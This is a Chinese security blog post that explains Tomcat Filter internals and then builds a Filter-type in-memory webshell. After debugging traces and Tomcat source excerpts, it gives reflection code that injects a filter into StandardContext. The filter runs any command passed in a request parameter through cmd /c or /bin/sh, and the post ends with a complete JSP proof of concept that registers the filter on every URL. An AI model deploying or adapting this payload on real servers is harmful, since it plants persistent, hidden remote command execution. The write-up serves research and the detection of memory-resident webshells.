基本介绍
在Tomcat中Filter是一种可用于拦截HTTP请求和响应的组件,Filter可以在请求到达Servlet之前对请求进行预处理,在响应返回给客户端之前对响应进行后处理,从而实现一些共性的处理逻辑,比如:日志记录、权限校验、字符编码转换等
动态注册
Apache Tomcat 7开始支持Servlet 3.0,Servlet 3.0引入了一项重要的特性——动态注册功能,这一功能使得开发者能够在运行时动态地注册Servlets、Fliter、Listener,而无需在web.xml配置文件中进行静态配置,这种灵活性大大简化了Web应用程序的管理和扩展,同时也为我们构造Tomcat中间件内存马奠定了基础,而无论是使用xml配置文件还是使用Annotation注解配置,均由Web容器进行初始化,读取其中的配置属性,然后向容器中进行注册,Servlet、Listener、Filter都是由javax.servlet.ServletContext去加载,从下面我们可以看到ServletContext提供了add*/create*方法来实现动态注册的功能
接口示例
Tomcat中的Filter需要实现javax.servlet.Filter接口,该接口包括三个方法:
-
init(FilterConfig filterConfig):Filter被初始化时调用,可以获取Filter的配置信息
-
doFilter(ServletRequest request, ServletResponse response, FilterChain chain):在该方法中编写拦截逻辑,通过调用chain.doFilter(request, response)可以将请求传递给下一个Filter或Servlet
-
destroy():在Filter被销毁时调用,可以进行资源释放等操作
过滤处理
Filter容器用于对请求和响应进行过滤和处理,流程大致如下所示:
简易示例
下面我们先写一个简单的Filter:
package com.al1ex.servlet;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
"/test") (
public class Shell_Filter implements Filter {
public void init(FilterConfig filterConfig) {
System.out.println("[*] Filter初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[*] Filter执行过滤操作");
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
System.out.println("[*] Filter已销毁");
}
}
从下面可以看到这里跑起来之后,控制台输出[*] Filter初始化创建,当我们访问/test路由的时候,控制台继续输出[*] Filter执行过滤操作,当我们结束tomcat的时候,会触发destroy方法,从而输出[*] Filter已销毁
调试分析
我们在上面的doFilter
函数这里下断点进行调试
随后可以获取到下面的调用栈信息:
doFilter:17, Shell_Filter (com.al1ex.servlet)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:615, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1626, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
随后我们回退并跟进org.apache.catalina.core.StandardWrapperValve#in
voke,在这里跟进变量filterChain,找到定义处的代码:
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
随后我们查看该方法
(org.apache.catalina.core.ApplicationFilterFactory#createFilterChain):
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
if (servlet == null) {
return null;
} else {
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request)request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
FilterMap[] arr$ = filterMaps;
int len$ = arr$.length;
int i$;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
for(i$ = 0; i$ < len$; ++i$) {
filterMap = arr$[i$];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
arr$ = filterMaps;
len$ = arr$.length;
for(i$ = 0; i$ < len$; ++i$) {
filterMap = arr$[i$];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
return filterChain;
} else {
return filterChain;
}
}
}
我们在该方法和下面定义filterMaps那行下断点进行调试,可以看到这段代码先是判断servlet是否为空,如果是就表示没有有效的servlet,无法创建过滤器链,然后根据传入的ServletRequest的类型来分类处理,如果是Request类型并且启用了安全性,那么就创建一个新的ApplicationFilterChain,如果没启用就尝试从请求中获取现有的过滤器链,如果不存在就创建一个新的,接着是设置过滤器链的Servlet和异步支持属性,关键点在于后面从Wrapper中获取父级上下文(StandardContext),然后获取该上下文中定义的过滤器映射数组(FilterMap),最后遍历过滤器映射数组并根据请求的DispatcherType和请求路径匹配过滤器,随后将匹配的过滤器添加到过滤器链中,最终返回创建或更新后的过滤器链
从createFilterChain函数我们可以清晰地看到filterChain对象的创建过程:
-
首先通过filterChain = new ApplicationFilterChain()创建一个空的filterChain对象
-
随后通过wrapper.getParent()函数来获取StandardContext对象
-
然后获取StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息
-
紧接着根据Filter的名称在StandardContext中获取FilterConfig
-
最后通过filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain中
随后我们继续跟进这里的FilterChain.doFilter
可以看到这里又调用了internalDoFilter
在这个方法中会依次拿到filterConfig和filter:
在这里我们的目的是打入内存马,也就是要动态地创建一个Filter,回顾之前的调试过程我们发现在createFilterChain那个函数里面有两个关键点:org.apache.catalina.core.StandardContext#findFilterMaps和findFilterConfig
实现代码如下所示:
public FilterMap[] findFilterMaps() {
return filterMaps.asArray();
}
public FilterConfig findFilterConfig(String name) {
return (FilterConfig)this.filterConfigs.get(name);
}
那么也就是说我们只需要查找到现有的上下文,然后往里面插入我们自定义的恶意过滤器映射和过滤器配置就可以实现动态添加过滤器了,那也就是说我们现在的问题就转化为如何添加filterMap和filterConfig,我们搜索关键词addFilterMap即可看到在StandardContext中有两个相关的方法——addFilterMap和addFilterMapBefore,其中addFilterMap是在一组映射末尾添加新的我们自定义的新映射,而addFilterMapBefore则会自动把我们创建的filterMap丢到第一位去无需再手动排序:
在这里我们跟进addFilterMapBefore可以看到此函数中第一步是先执行org.apache.catalina.core.StandardContext#validateFilterMap这个函数,从下面可以看到如果要使用addFilterMapBefore,那么我们就必须要保证它在根据filterName找filterDef的时候能找到,也就是说我们还得自定义filterDef并把它加入到filterDefs:
添加我们可以通过org.apache.catalina.core.StandardContext#addFilterDef来实现
随后我们还得去找寻filterConfig如何添加,经过搜索发现不存在类似上面的addFilterConfig这种方法
但是有filterStart和filterStop这两个方法:
源代码如下所示:
public boolean filterStart() {
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug("Starting filters");
}
boolean ok = true;
synchronized(this.filterConfigs) {
this.filterConfigs.clear();
Iterator i$ = this.filterDefs.entrySet().iterator();
while(i$.hasNext()) {
Map.Entry<String, FilterDef> entry = (Map.Entry)i$.next();
String name = (String)entry.getKey();
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
this.filterConfigs.put(name, filterConfig);
} catch (Throwable var8) {
Throwable t = var8;
t = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(t);
this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
ok = false;
}
}
return ok;
}
}
public boolean filterStop() {
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug("Stopping filters");
}
synchronized(this.filterConfigs) {
Iterator i$ = this.filterConfigs.entrySet().iterator();
while(i$.hasNext()) {
Map.Entry<String, ApplicationFilterConfig> entry = (Map.Entry)i$.next();
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug(" Stopping filter '" + (String)entry.getKey() + "'");
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)entry.getValue();
filterConfig.release();
}
this.filterConfigs.clear();
return true;
}
}
到这里可以看到如果要添加filterConfig,那么就只能通过反射的方法去获取相关属性并添加进去
三个Filter
下面我们看一下FilterConfig、FilterDef和FilterMaps:
在我们调试跟进createFilterChain函数时,其实我们是能看到此时的上下文对象StandardContext是包含了这三者的:
filterConfigs
filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息:
其中filterDef存放了filter的定义,包括filterClass、filterName等信息,对应的其实就是web.xml中的<filter>标签
filterDefs
filterDefs是一个HashMap,它以键值对的形式存储filterDef
filterMaps
filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签
filterMaps必要的属性为dispatcherMapping、filterName、urlPatterns
动态注册
下面我们的任务就是构造含有恶意filter的FilterMaps和FilterConfig对象并将FilterConfig添加到filter链,而经过上面的分析,我们可以总结出动态添加恶意Filter的思路:
-
获取StandardContext
-
继承并编写一个恶意filter
-
实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中
-
实例化一个FilterMap类并将我们的Filter和urlpattern相对应,使用addFilterMapBefore添加到StandardContext.filterMaps
-
使用反射获取filterConfigs,实例化一个FilterConfig(ApplicationFilterConfig)类,传入StandardContext与filterDefs,存放到filterConfig中
第一个任务
首先第一个任务就是要获取一个StandardContext,这个和之前的《Tomcat内存马之Servlet》中的操作一样,这里先获取当前的servlet上下文并拿到其私有字段context,然后设置可访问,这样就可以通过反射这个context字段的值,这个值是一个ApplicationContext对象,接着获取ApplicationContext的私有字段context并设置可访问,然后获取ApplicationContext的context字段的值——StandardContext对象
//获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
随后获取StandardContext的私有字段filterConfigs,设置可访问之后通过反射获取StandardContext的filterConfigs字段的值
//使用反射获取filterConfigs
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
第二个任务
第二个任务是编写一个恶意的Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) {
}
@Override
public void destroy() {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String cmd = httpServletRequest.getParameter("cmd");
if(System.getProperty("os.name").toLowerCase().contains("windows")) {
InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("GBK");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
} else if(System.getProperty("os.name").toLowerCase().contains("linux")) {
InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}).getInputStream();
Scanner s = new Scanner(in, "UTF-8").useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("UTF-8");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
filterChain.doFilter(servletRequest, servletResponse);
}
};
其他的任务
随后定义我们自己的filterDef和FilterMap并加入到srandardContext中,接着反射获取ApplicationFilterConfig类的构造函数并将构造函数设置为可访问,然后创建了一个ApplicationFilterConfig对象的实例,接着将刚刚创建的实例添加到过滤器配置的Map中,使用filterName为键,这样就可以将动态创建的过滤器配置信息加入应用程序的全局配置中
//定义filterDef和FilterMap并加入到srandardContext中
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);
out.print("[+] Malicious filter injection successful!<br>[+] Filter name: " + filterName + "<br>[+] Below is a list displaying filter names and their corresponding URL patterns:");
out.println("<table border='1'>");
out.println("<tr><th>Filter Name</th><th>URL Patterns</th></tr>");
List<String[]> allUrlPatterns = new ArrayList<>();
for (Object filterConfigObj : filterConfigs.values()) {
if (filterConfigObj instanceof ApplicationFilterConfig) {
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigObj;
String filtername = filterConfig.getFilterName();
FilterDef filterdef = standardContext.findFilterDef(filtername);
if (filterdef != null) {
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (FilterMap filtermap : filterMaps) {
if (filtermap.getFilterName().equals(filtername)) {
String[] urlPatterns = filtermap.getURLPatterns();
allUrlPatterns.add(urlPatterns); // 将当前迭代的urlPatterns添加到列表中
out.println("<tr><td>" + filtername + "</td>");
out.println("<td>" + String.join(", ", urlPatterns) + "</td></tr>");
}
}
}
}
}
out.println("</table>");
for (String[] urlPatterns : allUrlPatterns) {
for (String pattern : urlPatterns) {
if (!pattern.equals("/*")) {
out.println("[+] shell: http://localhost:8080/ServletTest" + pattern + "?cmd=ipconfig<br>");
}
}
}
}
完整POC
下面是完整的内存马示例代码:
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%
//获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//使用反射获取filterConfigs
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
//获取filterConfigs、构造filterName
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
String filterName = getRandomString();
//继承并编写一个恶意filter
if (filterConfigs.get(filterName) == null) {
Filter filter = new Filter() {
public void init(FilterConfig filterConfig) {
}
public void destroy() {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
String cmd = httpServletRequest.getParameter("info");
if(System.getProperty("os.name").toLowerCase().contains("windows")) {
InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("GBK");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
} else if(System.getProperty("os.name").toLowerCase().contains("linux")) {
InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}).getInputStream();
Scanner s = new Scanner(in, "UTF-8").useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("UTF-8");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
filterChain.doFilter(servletRequest, servletResponse);
}
};
//定义filterDef和FilterMap并加入到srandardContext中
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);
out.print("Malicious filter injection successful!");
}
%>
<%!
private String getRandomString() {
String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
StringBuilder randomString = new StringBuilder();
for (int i = 0; i < 8; i++) {
int index = (int) (Math.random() * characters.length());
randomString.append(characters.charAt(index));
}
return randomString.toString();
}
%>
执行并访问如下所示:
命令执行:
参考连接
https://www.cnblogs.com/xfeiyun/p/16742474.html
原文始发于微信公众号(七芒星实验室):Tomcat内存马之Filter内存马剖析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论